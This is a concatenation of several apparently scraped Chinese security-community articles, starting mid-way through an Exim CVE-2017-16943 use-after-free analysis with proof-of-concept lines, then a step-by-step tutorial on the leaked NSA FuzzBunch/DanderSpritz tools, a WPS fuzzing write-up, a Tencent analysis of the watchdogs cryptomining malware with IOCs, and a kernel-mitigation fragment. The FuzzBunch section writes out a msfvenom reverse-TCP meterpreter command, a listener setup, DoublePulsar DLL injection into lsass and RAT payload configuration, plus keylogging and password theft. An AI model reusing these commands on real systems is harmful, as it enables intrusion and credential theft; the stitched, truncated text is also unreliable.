(int)chunking_state, chunking_data_left);
if (chunking_datasize == 0)
if (chunking_state == CHUNKING_LAST)
return EOD;
else
{
(void) synprot_error(L_smtp_protocol_error, 504, NULL,
US"zero size for BDAT command");
goto repeat_until_rset;
}
receive_getc = bdat_getc;
receive_getbuf = bdat_getbuf;
receive_ungetc = bdat_ungetc;
#ifndef DISABLE_DKIM
dkim_collect_input = dkim_save;
#endif
break; /* to top of main loop */
}
}
}
}
The BDAT command enters the following branch:
f (sscanf(CS smtp_cmd_data, "%u %n", &chunking_datasize, &n) < 1)
{
(void) synprot_error(L_smtp_protocol_error, 501, NULL,
US"missing size for BDAT command");
return ERR;
}
Because of `\x7F`, sscanf fails to get the length. Enter the `synprot_error`
function, which is also located in the `smtp_in.c` file:
static int
synprot_error(int type, int code, uschar *data, uschar *errmess)
{
int yield = -1;
log_write(type, LOG_MAIN, "SMTP %s error in \"%s\" %s %s",
(type == L_smtp_syntax_error)? "syntax" : "protocol",
string_printing(smtp_cmd_buffer), host_and_ident(TRUE), errmess);
if (++synprot_error_count > smtp_max_synprot_errors)
{
yield = 1;
log_write(0, LOG_MAIN|LOG_REJECT, "SMTP call from %s dropped: too many "
"syntax or protocol errors (last command was \"%s\")",
host_and_ident(FALSE), string_printing(smtp_cmd_buffer));
}
if (code > 0)
{
smtp_printf("%d%c%s%s%s\r\n", FALSE, code, yield == 1 ? '-' : ' ',
data ? data : US"", data ? US": " : US"", errmess);
if (yield == 1)
smtp_printf("%d Too many syntax or protocol errors\r\n", FALSE, code);
}
return yield;
}
In
[src/string.c](https://github.com/Exim/exim/blob/9242a7e8cfa94bbc9dd7eca6bd651b569b871c4e/src/src/string.c
"src/string.c"), there is a `string_printing` function in the `synprot_error`
function :
const uschar *
string_printing2(const uschar *s, BOOL allow_tab)
{
int nonprintcount = 0;
int length = 0;
const uschar *t = s;
uschar *ss, *tt;
while (*t != 0)
{
int c = *t++;
if (!mac_isprint(c) || (!allow_tab && c == '\t')) nonprintcount++;
length++;
}
if (nonprintcount == 0) return s;
/* Get a new block of store guaranteed big enough to hold the
expanded string. */
ss = store_get(length + nonprintcount * 3 + 1);
/* Copy everything, escaping non printers. */
t = s;
tt = ss;
while (*t != 0)
{
int c = *t;
if (mac_isprint(c) && (allow_tab || c != '\t')) *tt++ = *t++; else
{
*tt++ = '\\';
switch (*t)
{
case '\n': *tt++ = 'n'; break;
case '\r': *tt++ = 'r'; break;
case '\b': *tt++ = 'b'; break;
case '\v': *tt++ = 'v'; break;
case '\f': *tt++ = 'f'; break;
case '\t': *tt++ = 't'; break;
default: sprintf(CS tt, "%03o", *t); tt += 3; break;
}
t++;
}
}
*tt = 0;
return ss;
}
We will use `store_get` in the `string_printing2` function. Its length is
`length + nonprintcount * 3 + 1`. For example, the length of `BDAT \x7F`
command is `6+1*3+1 => 0x0a`. And because `0xa < yield_length`, it uses Exim's
heap allocation directly, and only when the last malloc 0x2000 memory is used
up or not enough will we uses malloc.
* 0xa aligns -> 0x10
* return next_yield = heap1+0x110
* next_yield = heap1+0x120
* yield_length = 0x1f00 - 0x10 = 0x1ef0
The final step is to send a large amount of data in the PoC to trigger the
UAF:
s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8)
R.send(s+ ':\r\n')
Back to the `receive.c` file. The 1788-line loop read the input. According to
meh, the following lines of code is the trigger of UAF:
if (ptr >= header_size - 4)
{
int oldsize = header_size;
/* header_size += 256; */
header_size *= 2;
if (!store_extend(next->text, oldsize, header_size))
{
uschar *newtext = store_get(header_size);
memcpy(newtext, next->text, ptr);
store_release(next->text);
next->text = newtext;
}
}
When the input data is greater than or equal to `0x100-4`, the `store_extend`
function will be triggered. The value of `next->text` is `heap1+0x10`,
`oldsize=0x100, header_size = 0x100*2 = 0x200`.
Then in `store_extend`, there are several lines of judgments:
if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) ||
inc > yield_length[store_pool] + rounded_oldsize - oldsize)
return FALSE;
Where `next_yield = heap1+0x120`, `ptr + 0x100 = heap1+0x110`
The result of the judgment is true, so `store_extend` returns False
This is because a memory is allocated in the `string_printing` function, so
the heap is unbalanced in `receive_msg`.
Subsequent entry into the branch will fix this imbalance and execute
`store_get(0x200)`
* return next_yield = heap1+0x120
* next_yield = heap1+0x320
* yield_length = 0x1ef0 - 0x200 = 0x1cf0
Then it will copy the entered data into the new heap.
The problem is at the `store_release` function. The previously applied 0x2000
heap has 0x1cf0 left, but we perform glibc free operation on it. This is what
we know about UAF, reusing the vulnerability after release.
for (b = chainbase[store_pool]; b != NULL; b = b->next)
{
storeblock *bb = b->next;
if (bb != NULL && CS block == CS bb + ALIGNED_SIZEOF_STOREBLOCK)
{
b->next = bb->next;
.......
free(bb);
return;
}
Here `bb = chainbase->next = heap1`, and `next->text == bb + 0x10`, and we can
execute `free(bb)`.
Because a lot of data is entered, the below will also be excuted:
* store_extend(next->text, 0x200, 0x400)
* store_extend(next->text, 0x400, 0x800)
* store_extend(next->text, 0x800, 0x1000)
But when it comes to the judment:
if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) || inc > yield_length[store_pool] + rounded_oldsize - oldsize)
It will return true and will not enter the following branch.
However, when it comes to `store_extend(next->text, 0x1000, 0x2000)`, it
returns False again because the second judgment `0x2000-0x1000 >
yield_length[store_pool]` was satusfied.
So it will enter the branch again and call `store_get(0x2000)`
Because `0x2000 > yield_length` so the program will enter the branch:
if (size > yield_length[store_pool])
{
int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
int mlength = length + ALIGNED_SIZEOF_STOREBLOCK;
storeblock * newblock = NULL;
if ( (newblock = current_block[store_pool])
&& (newblock = newblock->next)
&& newblock->length < length
)
{
/* Give up on this block, because it's too small */
store_free(newblock);
newblock = NULL;
}
if (!newblock)
{
pool_malloc += mlength; /* Used in pools */
nonpool_malloc -= mlength; /* Exclude from overall total */
newblock = store_malloc(mlength);
newblock->next = NULL;
newblock->length = length;
if (!chainbase[store_pool])
chainbase[store_pool] = newblock;
else
current_block[store_pool]->next = newblock;
}
current_block[store_pool] = newblock;
yield_length[store_pool] = newblock->length;
next_yield[store_pool] =
(void *)(CS current_block[store_pool] + ALIGNED_SIZEOF_STOREBLOCK);
(void) VALGRIND_MAKE_MEM_NOACCESS(next_yield[store_pool], yield_length[store_pool]);
}
Here is the key of exploiting this vulnerability.
First: `newblock = current_block = heap1`.
Second: `newblock = newblock->next`.
I guess the case of meh is the same as the case where I added `printf` to
test. In `printf`, we need to malloc a heap as a buffer, so there is another
heap under heap1. After heap1 is freed, it will be placed in unsortbin, and fd
and bk point to arena.
So at this time, `heap1->next = fd = arena_top`.
The following process is:
* current_block = arena_top
* next_yield = arena_top+0x10
* return next_yield = arena_top+0x10
* next_yield = arena_top+0x2010
After executing `store_get`, execute `memcpy`:
Memcpy(newtext, next->text, ptr);
The `newtext` above is `arena_top+0x10` returned by `store_get` .
Copy the entered data into the arena, and finally we can control
`RIP=0xdeadbeef` to cause a crash.
But the actual situation is different. Because there is no printf, so heap1 is
the last heap, and it will be merged into top_chunk after it is freed. Fd and
bk fields will not be modified as they are used to store the `next` and
`length` of the storeblock structure.
#### Summary
CVE-2017-16943 is indeed a UAF vulnerability, but I can't use the PoC provided
by meh to cause a crash.
I have tried other methods, but did not find a suitable use chain.
Since Exim implements a heap management, it is not possible to use `store_get`
to malloc a heap after heap1, because current_block will be modified to point
to the latest heap. So only we malloc a heap without using `store_get`, can we
control RIP.
Besides this, exim also uses `store_get` to get memory, so we can only find
`printf` which has its own function using malloc. But these functions will
exit the loop of the `receive_msg` function after they are used, so I could
not construct a chain.
#### Reference
1.[Exim Source Code](https://github.com/Exim/exim.git)
2.[Bugzilla-2199](https://bugs.exim.org/show_bug.cgi?id=2199)
* * * | 社区文章 |
# 【技术分享】NSA泄露黑客工具之 FuzzBunch & DanderSpritz 分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[qingxp9 ·
360无线电安全研究部@无线攻防团队](http://bobao.360.cn/member/contribute?uid=46273947)
预估稿费：500RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
****
**传送门**
[**【技术分享】NSA泄露工具中的Dander
Spiritz工具使用简易教程**](http://bobao.360.cn/learning/detail/3739.html)
[**【漏洞分析】MS 17-010：NSA Eternalblue SMB
漏洞分析**](http://bobao.360.cn/learning/detail/3738.html)
**Shadow Brokers是什么**
影子经纪（Shadow Brokers）声称攻破了为NSA开发网络武器的美国黑客团队方程式组织（Equation
Group）黑客组织的计算机系统，并下载了他们大量的攻击工具（包括恶意软件、私有的攻击框架及其它攻击工具）。
方程式组织（Equation
Group）是一个由卡巴斯基实验室发现的尖端网络犯罪组织，后者将其称为世界上最尖端的网络攻击组织之一，同震网（Stuxnet）和火焰（Flame）病毒的制造者紧密合作且在幕后操作。
**Shadow Brokers大招回顾**
2016年8月15日：
公布了思科ASA系列防火墙，思科PIX防火墙的漏洞。
2017年4月08日:
公布了针对Solaris远程0day漏洞。
2017年4月14日:
公布了针对Windows系统漏洞及利用工具。
下载地址：<https://github.com/x0rz/EQGRP_Lost_in_Translation>
2017年4月14日大招分析
目录文件说明：
Windows：包含Windows漏洞、后门、利用工具，等配置文件信息。
swift：包含来自银行攻击的操作说明
oddjob：与ODDJOB后门相关的文档
漏洞对应说明
**FUZZBUNCH &DanderSpritz分析**
要使用FUZZBUNCH框架需要注意以下几点
1.将工具放在英文路径下，不能含有中文，目标机防火墙关闭
2.必须Python2.6和pywin32对应版本。
3.在windows利用工具目录下创建listeningposts目录,看清楚了是window利用工具目录,不是c:window目录。
4.系统使用32位
Python2.6+pywin32下载 链接：<http://pan.baidu.com/s/1hsyvTOw> 密码：o1a1
FuzzBunch有点类似于metasploit，并且可跨平台，通过fb.py使用，
FuzzBunch框架的执行，需要各种配置项
1.目标的IP地址，攻击者的;
2.指示转发选项是否将被使用;
3.指定log日志目录;
4.该项目名称。
在以上的配置中，Target ip(被攻击机器)IP地址是192.168.69.42,Callback IP(回调地址)也就是运行fb.py框架的IP地址。
配置完成之后,进入下一步,使用help查看帮助命令。
use命令的用途是选择插件，如下所列：
插件被分解成几类：
目标识别和利用漏洞发现：Architouch，Rpctouch，Domaintouch，Smbtouch等。;
漏洞利用：EternalBlue，Emeraldthread，Eclipsedwing，EternalRomance等。;
目标攻击后后操作：Douplepulsar,Regread,Regwrite等。
然后我们通过使用Smbtouch使用smb协议来检测对方操作系统版本、架构、可利用的漏洞。
在这个例子中，目标系统似乎有三个漏洞可以利用（EternalBlue，EternalRomance和EternalChampion）,经过这几天的测试,我发现EternalBlue比较稳定,我直接选择使用EternalBlue这个漏洞利用工具。
使用EternalBlue漏洞利用成功之后,会在内核中留一个后门。
通过返回的信息,可以看出攻击成功,用了不到10秒钟的时间，攻击成功之后并不能直接执行命令,需要用框架的其他的插件配合。
攻击成功之后就可以开始使用DoublePulsar插件,DoublePulsar类似于一个注入器,有以下几个功能。
Ping： 检测后门是否部署成功
RUNDLL：注入dll。
RunShellcode：注入shellcode
Uninstall:用于卸载系统上的后门
在这里我使用RUNDLL来注入dll到目标系统,在注入之前,我打开metasploit生成个dll。也可以使用cobaltstrike等,注意:msf生成的dll注入到wwin7进程的时候,win7可能会重启。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.38.129 LPORT=8089 -f dll > c.dll
打开metasploit监听反弹端口
$ msfconsole
msf > use exploit/multi/handler
msf > set LHOST 192.168.38.129
msf > set LPORT 8089
msf > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf > exploit
配置DoublePulsar来注入dll
注入DLL到Lsass.exe进程,通过metasploit控制目标机器。
**DanderSpritz介绍**
DanderSpritz是nsa著名的RAT,很多的反病毒厂商都抓到过此RAT的样本,信息收集模块做的特别全。
使用python start_lp.py启动,设置好配置信息之后,功能就可以使用。
打开之后我们可在终端进行输入help，进行查看帮助信息。
可用命令的数量比FuzzBunch要多一些，我研究此远控的目的是为了能生成dll文件，配合DoublePulsar使用，直接反向连接到DanderSpritz,我本人不是特别喜欢用metasploit,很多的防护设备已经有了metasploit的特征,容易发现。还有metasploit生成的dll在使用DoublePulsar注入到win7的时候,win7会重启。
经过一番查找，发现pc_prep负责生成有效载荷。
pc_prep有点类似于msfvenom。使用命令pc_prep -sharedlib列出可生成dll的选项，来生成一个DLL的马儿，配置信息如下：
pc_prep -sharedlib
- Possible payloads:
- 0) - Quit
- 1) - Standard TCP (i386-winnt Level3 sharedlib)
- 2) - HTTP Proxy (i386-winnt Level3 sharedlib)
- 3) - Standard TCP (x64-winnt Level3 sharedlib)
- 4) - HTTP Proxy (x64-winnt Level3 sharedlib)
- 5) - Standard TCP Generic (i386-winnt Level4 sharedlib)
- 6) - HTTP Proxy Generic (i386-winnt Level4 sharedlib)
- 7) - Standard TCP AppCompat-enabled (i386-winnt Level4 sharedlib)
- 8) - HTTP Proxy AppCompat-enabled (i386-winnt Level4 sharedlib)
- 9) - Standard TCP UtilityBurst-enabled (i386-winnt Level4 sharedlib)
- 10) - HTTP Proxy UtilityBurst-enabled (i386-winnt Level4 sharedlib)
- 11) - Standard TCP WinsockHelperApi-enabled (i386-winnt Level4 sharedlib)
- 12) - HTTP Proxy WinsockHelperApi-enabled (i386-winnt Level4 sharedlib)
- 13) - Standard TCP (x64-winnt Level4 sharedlib)
- 14) - HTTP Proxy (x64-winnt Level4 sharedlib)
- 15) - Standard TCP AppCompat-enabled (x64-winnt Level4 sharedlib)
- 16) - HTTP Proxy AppCompat-enabled (x64-winnt Level4 sharedlib)
- 17) - Standard TCP WinsockHelperApi-enabled (x64-winnt Level4 sharedlib)
- 18) - HTTP Proxy WinsockHelperApi-enabled (x64-winnt Level4 sharedlib)
Pick the payload type
3
Update advanced settings
NO
Perform IMMEDIATE CALLBACK?
YES
Enter the PC ID [0]
0
Do you want to LISTEN?
NO
Enter the callback address (127.0.0.1 = no callback) [127.0.0.1]
192.168.38.128
Change CALLBACK PORTS?
NO
Change exe name in version information?
NO
- Pick a key
- 0) Exit
- 1) Create a new key
- 2) Default
Enter the desired option
2
- Configuration:
- - <?xml version='1.0' encoding='UTF-8' ?>
- <PCConfig>
- <Flags>
- <PCHEAP_CONFIG_FLAG_CALLBACK_NOW/>
- <PCHEAP_CONFIG_FLAG_DONT_CREATE_WINDOW/>
- </Flags>
- <Id>0x0</Id>
- <StartListenHour>0</StartListenHour>
- <StopListenHour>0</StopListenHour>
- <CallbackAddress>192.168.38.139</CallbackAddress>
- </PCConfig>
- Is this configuration valid
YES
Do you want to configure with FC?
NO
- Configured binary at:
- E:Logsz0.0.0.1z0.0.0.1PayloadsPeddleCheap_2017_04_17_08h49m06s.296/PC_Level3_dll.configured
DanderSpritz(RAT)PeddleCheap选项提供三种马儿连接选择
我选择了监听方式,也就是反向连接。
然后开始监听端口，默认监听端口TCP/53，TCP/80，TCP/443，TCP/1509：
现在我们配合DoublePulsar来使用,让DoublePulsar把DanderSpritz生成的dll注入到lsass.exe进程
然后DanderSpritz接收到的请求要求接受它。一旦yes接受连接，终端开始滚动了很多有关目标的信息，会自动执行各种命令,有一些命令需要确认,
**ARP表**
**路由表**
**系统信息**
**端口信息**
**进程列表（一些过程，如那些由虚拟化用于以不同的颜色被突出显示）;**
**内存状态**
**USB的信息**
**计划任务分析**
**安装语言和操作系统的版本**
**磁盘和可用空间的列表**
**等……………..**
如果你不想从命令行查看,也可以打开插件图形化来查看以上的信息
**查看网络信息**
**查看进程**
**打开一个shell（cmd）**
通过信息收集之后,我们大概可以确认目标网络情况.就可以实施下一步的攻击。
**截图**
**hash获取**
**扫描端口**
**安装键盘记录功能**
键盘记录需要使用YAK安装下,之后才可以使用。
**Firefox Skype等密码获取**
除了这些插件之外,还有很多的插件,比如日志eventlogedit, 可以自行研究下。
**漏洞检测工具**
<https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/smb/smb_ms17_010.rb>
把smb_ms17_010.rb下载回来,放在自己新建的exp目，启动metasploit,在msf提示符下输入reload_all重新加载所有模块
**感染检测**
<https://github.com/countercept/doublepulsar-detection-script>
存在漏洞
**传送门**
* * *
[**【技术分享】NSA泄露工具中的Dander
Spiritz工具使用简易教程**](http://bobao.360.cn/learning/detail/3739.html)
[**【漏洞分析】MS 17-010：NSA Eternalblue SMB
漏洞分析**](http://bobao.360.cn/learning/detail/3738.html) | 社区文章 |
# 一次对WPS漏洞挖掘的尝试
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：[houjingyi](https://twitter.com/hjy79425575)
年初的时候研究了一下怎么挖WPS的漏洞，虽然发现了漏洞不过能力有限，自己漏洞利用这块不太了解，没来得及跟厂商报后来厂商就修了，索性发出来分享一下。也带大家了解一下对一个大型软件进行漏洞挖掘是怎么做的。
含有漏洞的版本：W.P.S.10314.12012.2019.exe
已经修复的版本：W.P.S.10356.12012.2019.exe
## 1.历史漏洞研究
我一般开始挖一个新目标的漏洞第一步首先是查看历史漏洞，相信大部分人也都会这么做。我们可以通过安全客，玄武实验室的[sec.today](https://sec.today)，[cve.mitre.org](https://cve.mitre.org)和[金山办公安全应急响应中心的公告](https://security.wps.cn/notices)等途径了解WPS过去都出了哪些漏洞。经过一番查找之后发现过去一两年主要出了一些公式编辑器的漏洞还有一个PNG图片解析的洞。
我当时考虑的是去挖图片解析的洞，原因很简单，公式编辑器应该已经有好几伙人挖过了，光是公开知道的就有GeekPwn
2020上被人用过，还有极光无限的人也挖过并在安全客上发了文章，所以我再去挖到漏洞的可能性不是那么大(当然这种事情其实很难说，因为我在挖其它厂商的洞的时候发生过好几次以为某个地方应该已经被其他人挖过不会有洞但是实际上有非常明显的洞的情况)。还有一个次要原因是我看极光无限的文章里面说和office不同的是打开构造好的样本WPS不会加载公式编辑器组件，还需要主动双击或者右键激活的方式来加载组件。意思就是说就算挖到洞成功利用了也不是0
click的，稍微有点不太完美。
在正式去尝试挖图片解析的洞之前我还想着能不能偷个懒，如果WPS有和office以前出过的类似的dll劫持可以直接RCE的问题就好办了(参考：[CVE-2016-0018:
DLL Planting Leads to a Remote Code Execution
Vulnerability](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/cve-2016-0018-dll-planting-leads-to-a-remote-code-execution-vulnerability/))，结果是没有。
## 2.fuzz图片解析函数
我们来看看PNG图片解析那个洞：
[CVE-2020-25291 – Kingsoft WPS Office Remote Heap Corruption
Vulnerability](http://zeifan.my/security/rce/heap/2020/09/03/wps-rce-heap.html)。虽然作者没有给POC但是给了stack trace，有这个信息就够了。
通过调试分析可以确定图片解析相关逻辑在QtCore4.dll中，可以看到WPS调用的QtCore4.dll的第一个函数是QImageReader::read。代码逻辑大概就是下面这样。
有过fuzz经验的同学应该已经知道了怎么去用winafl之类的工具fuzz这里的代码逻辑。分享一下我当时写的代码。
用winafl跑了一段时间之后成功发现了crash，后来经过分析发现是因为用了版本非常老的libtiff库……
不知道这个库是qt4里面就有的还是wps加进去的，总之走了弯路了，早知道是这样还写什么fuzzer。后来我找了一下libtiff出过的POC，有一些是能成功在WPS里面触发的，基本都是堆溢出，因为我不太清楚WPS里面堆布局这些，也没有其它现成的EXP可以抄，本来还想留着以后慢慢想，没想到WPS发布的新版本不再使用qt4而是升级到了qt5，也没有用libtiff这个库了，所以只能不了了之。
## 3.winafl的注意事项
我只给出了代码没有具体解释怎么写的，我觉得这个应该比较简单。还有一个我没解决的问题是能不能实现利用，这些就留给感兴趣的童鞋当成练习吧。我想提一下使用winafl的一些注意事项，因为在我做这个事情之前也有好久没用过winafl了，算是踩了一些坑。虽然winafl最近几年没有怎么更新了，但是如果遇到问题一般都不是winafl的问题……基本上解决方案也都能在github的issue里面找到。
1.不要改变被fuzz的dll的名字
2.目标函数应该使用return 0不要exit(winafl无法catch到post_fuzz_handler了)
3.不要使用github上编译好的二进制文件(win 7下还可以)，自己重新使用最新的DynamoRIO编译
4.在目标函数中打开并关闭文件句柄
正常的情况：
你可以看到我前面写的代码是关闭了qfile的，不去关闭文件句柄就会出现下面这样的情况：
5.先用drrun确认一切正常再运行winafl
一切正常的话log文件应该是像下面这样的。
最后一个我想提的注意事项跟winafl没什么关系。fuzz尽量在没有网络的虚拟机中进行，因为一些软件crash之后会生成dump文件发送回去，要是发现了漏洞都还没来得及研究结果因为厂商看到dump文件修复了就有点不划算了。
## 4.结语
说起来似乎有点难以置信，WPS居然还在使用几乎是十年前的libtiff库，我估计PNG那个洞有可能也是因为使用了很古老的libpng库。一方面厂商应该对使用的开源库做好管理，避免长期使用存在漏洞的开源库的情况；另一方面对于漏洞挖掘者来说这也是一个做审计时可以注意的点。大家如果有什么问题，也欢迎和我交流。 | 社区文章 |
# 事件分析 | Linux watchdogs 感染性隐藏挖矿病毒入侵还原录
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、背景
近日，腾讯云安全团队监测到部分云上及外部用户机器存在安全漏洞被入侵，同时植入 watchdogs 挖矿病毒，出现 crontab
任务异常、系统文件被删除、CPU 异常等情况，并且会自动感染更多机器。攻击者主要利用 Redis 未授权访问入侵服务器并通过内网扫描和
known_hosts 历史登录尝试感染更多机器。（对此，腾讯云安全团队第一时间发布了病毒预警——[预警 | 中招 watchdogs
感染性挖矿病毒，如何及时止损？](https://mp.weixin.qq.com/s/lyXHI3zEE8cujn3r6Su_mw "预警 | 中招
watchdogs 感染性挖矿病毒，如何及时止损？")）
相较于过去发现的挖矿病毒，这次的挖矿病毒隐藏性更高，也更难被清理。服务器被该病毒入侵后将严重影响业务正常运行甚至导致奔溃，给企业带来不必要的损失。
## 二、脚本分析
首先，可以直接从crontab任务中看到异常的任务项：
该crontab任务实现从 hxxps://pastebin.com/raw/sByq0rym 下载shell脚本并执行，shell脚本内容为：
该脚本实现从 hxxps://pastebin.com/raw/tqJjUD9d 下载文件，文件内容为经过base64编码处理；
base64解码后为shell脚本，shell脚本主要功能如下：
1\. 修改环境变量，将常见的可执行文件目录添加到系统路径中，确保脚本中的shell命令正常执行；同时再次覆写crontab任务。
2\. 清理其他恶意程序，如“kworkerds”，“ddgs”等挖矿程序；同时通过chattr -i等命令解锁和清理相关系统文件
3\.
根据系统信息下载对应恶意程序执行；黑客主要通过将恶意程序伪装成图片上传hxxp://thyrsi.com图床站点，shell脚本下载hxxp://thyrsi.com/t6/672/1550667515×1822611209.jpg保存为/tmp/watchdogs文件，赋予可执行权限后执行该恶意程序；
4\. 再进一步横向扩展感染，检查本地 ssh
凭证，遍历/root/.ssh/known_hosts文件中的IP地址，利用默认公钥认证方式进行SSH连接，执行恶意命令横向扩展感染；
5\. 最后清空系统日志等文件，清理入侵痕迹。
通过bash脚本我们可以得知关键文件为其中的watchdogs文件。
进一步通过top命令未见异常进程，而CPU空闲率为100%，但又明显感觉到机器运行迟缓。
进一步通过vmstat进行确认，可以发现CPU使用率95%以上，由此可以推断存在隐藏进程，并且hook了相关readdir
等方法，具体案例我们在以前的文章已经做过分析。
[安全研究 | Linux
遭入侵，挖矿进程被隐藏案例分析](https://mp.weixin.qq.com/s/1AF5cgo_hJ096LmX7ZHitA "安全研究 |
Linux 遭入侵，挖矿进程被隐藏案例分析")
进一步分析watchdogs文件，可以清楚看到病毒释放了/usr/local/lib/libioset.so的动态链接库并将路径写入/etc/ld.so.preload来实现了进程的隐藏，与我们上面的推测是一致的。具体可见样本分析部分。
## 三、样本分析
### **样本 watchdogs**
主要功能：
1.获取当前进程id，写入/tmp/.lsdpid文件
2\. 拷贝 /tmp/watchdogs至/usr/sbin/watchdogs路径，并将watchdogs添加至启动项及服务项
3\.
释放libioset.so文件至/usr/local/lib/libioset.so，并将该so文件路径写入/etc/ld.so.preload，同时删除/usr/local/lib/libioset.c文件
4\. 访问ident.me获取机器IP
5\. 设置定时任务，定时从 <https://pastebin.com/raw/sByq0rym> 上获取shell执行脚本
6\. 写入/tmp/ksoftirqds、/tmp/config.json，执行ksoftirqds后删除
7\. 删除生成的相关文件
8\. 访问 <https://pastebin.com/raw/C4ZhQFrH> 检查更新
### **样本 libioset.so**
64位程序中，恶意样本会释放出libioset.c文件，采用源码编译的方式生成libioset.so文件，而32位程序则直接释放出libioset.so文件
libioset.so主要功能为hook删除、查看等系统命令函数，过滤掉watchdogs等相关信息，导致ls、rm等命令对该恶意程序无效，该so文件导出函数如下所示
例如，readdir64函数中，加载了libc.so.6
获取原始函数地址
如果调用该函数的进程不是ksoftirqds或watchdogs，则过滤掉所有包含恶意程序相关的结果。
unlink函数同样进行了过滤，导致无法清除恶意程序相关的LD_PRELOAD、libioset.so等。
该恶意程序同样隐藏了CPU信息和网络连接信息，如下所示：
当调用fopen打开/proc/stat时，返回伪造的信息
当调用fopen打开/proc/net/tcp或/proc/net/tcp6时，同样进行过滤
## 四、流程还原
**基于上面的脚本和 ELF样本分析可以发现整体入侵和感染流程大概为：**
1\. 通过Redis未授权访问漏洞入侵机器并修改crontab任务；或者通过遍历known_hosts中的连接历史进行横向扩展；
2\. crontab任务执行bash脚本，进行相关清理和下载执行恶意程序watchdogs并横向扩展：
a) 覆写crontab任务；
b) 清理其他恶意程序；
c) 解锁删除相关系统文件；
d) 下载执行watchdogs；
e) 横向扫描其他机器；
f) 清理相关文件和痕迹。
3\. watchdogs执行实现写开机启动、服务项并释放动态链接库实现隐藏，同时释放执行挖矿程序：
a) 获取进程ID写/tmp/.lsdpid；
b) 将/tmp目录下的watchdogs复制到/usr/sbin/目录并加入开机启动项和服务项；
c) 释放libioset.so并写入/etc/ld.so.preload实现进程等隐藏；
d) 访问ident.me获取机器外网IP；
e) 再次覆写crontab任务；
f) 释放挖矿程序ksoftirqds和配置文件config.json并执行；
g) 删除相关生成的文件并检查更新。
最终完成了一个漏洞利用到植入挖矿程序，同时隐藏和横向感染的过程。
而相对与过去我们分析过的隐藏进程的挖矿病毒，在该病毒释放的动态链接库中同步对unlink函数进行了过滤，过滤名称同时包含ld.so.preload和libioset.so，而同时由于删除、查看等系统命令函数也受过滤影响，就导致通过常规自带的方法无法直接删除libioset.so或者修改ld.so.preload解除恶意进程的隐藏，只能通过busybox
来实现对这些文件的删除清理。
在我们将/usr/local/lib/libioset.so文件清理后，就可以通过top命令看到执行的挖矿进程。
通过捕获的钱包地址查看黑客收益：
（数据来源：f2pool）
该钱包总收益约为56.5门罗币，约合1.9万人民币，过去24小时内收益1.3门罗币，当前算力约为430KH/S。
## 五、修复建议和清理方法
### 修复建议
**Redis 未授权访问：**
1、为 Redis 添加密码验证（重启Redis才能生效）；
2、禁止外网访问 Redis（重启Redis才能生效）；
3、以低权限运行Redis服务（重启Redis才能生效）
详细操作请参考：<http://bbs.qcloud.com/thread-30706-1-1.html>。
**内网感染：**
1、建议不要将连接机器的私钥直接放在服务器上，如有必要建议添加密码；
2、建议通过有限的机器作为跳板机实现对其他内网机器的访问，避免所有机器的随意互联互通，跳板机不要部署相关可能存在风险的服务和业务。
### **挖矿木马清理方法**
1、删除恶意动态链接库/usr/local/lib/libioset.so；
2、排查清理/etc/ld.so.preload中是否加载1中的恶意动态链接库；
3、清理crontab异常项，删除恶意任务(无法修改则先执行5-a)；
4、kill 挖矿进程；
5、排查清理可能残留的恶意文件：
a) chattr -i /usr/sbin/watchdogs /etc/init.d/watchdogs /var/spool/cron/root
/etc/cron.d/root；
b) chkconfig watchdogs off；
c) rm -f /usr/sbin/watchdogs /etc/init.d/watchdogs。
6、相关系统命令可能被病毒删除，可通过包管理器重新安装或者其他机器拷贝恢复；
7、由于文件只读且相关命令被hook，需要安装busybox通过busybox rm命令删除；
8、部分操作需要重启机器生效。
## 六、附录
### IOCs：
**样本**
1\. aee3a19beb22527a1e0feac76344894c
2\. c79db2e3598b49157a8f91b789420fb6
3\. d6a146161ec201f9b3f20fbfd528f901
4\. 39fa886dd1af5e5360f36afa42ff7b4e
**矿池地址**
xmr.f2pool.com:13531
**钱包地址**
46FtfupUcayUCqG7Xs7YHREgp4GW3CGvLN4aHiggaYd75WvHM74Tpg1FVEM8fFHFYDSabM3rPpNApEBY4Q4wcEMd3BM4Ava.teny
**URLs**
1\. hxxps://pastebin.com/raw/sByq0rym
2\. hxxps://pastebin.com/raw/tqJjUD9d
3\. hxxp://thyrsi.com/t6/672/1550667515×1822611209.jpg
4\. hxxp://ident.me
### 相关链接：
https://mp.weixin.qq.com/s/1AF5cgo_hJ096LmX7ZHitA
**本文作者：安全攻防组 @腾讯安全云鼎实验室**
腾讯安全云鼎实验室专注云安全技术研究和云安全产品创新工作；负责腾讯云安全架构设计、腾讯云安全防护和运营工作；通过攻防对抗、合规审计搭建管控体系，提升腾讯云整体安全能力。 | 社区文章 |
##### Protect Policy
* Kernel stack cookies[canaries]
同userland的栈保护机制canary类似，在内核编译时启用，并不能够禁用。
* Kernel address space layout randomization[KASLR]
内核地址随机化，类似于userland的`ASLR`，每次开机都会随机内核加载的基地址。
可以通过在`-append`选项中添加`kaslr`或者`nokasr`启用或禁用。
* Supervisor mode execution protection[SMEP]
这一机制使得kernel-mode下的进程标记所有userland的地址为non-executable，即不可执行的，该机制由控制寄存器`CR4`的20th
bit控制。
可以通过在`-cpu`选项中指定`+smep`启用，在`-append`中指定`nosmep`禁用。
* Supervisor mode access prevention[SMAP]
类似于SMEP，该机制标记所有kernel-mode进程的userland地址为non-accessiable，即不可读也不可写。由`CR4`的21th
bits控制。
可以通过`-cpu`选项指定`+smap`启用，在`-append`指定`nosmape`禁用。
* Kernel page table isolation[KPTI]
当KPTI启用时，user-space和kernel-space的 page tables将完全分开，而不是只有一个包含user-space和kernel-space地址的page tables集合。
其中，既包含user-space又有kernel-space的page tables只在系统运行在kernel-mode时使用。
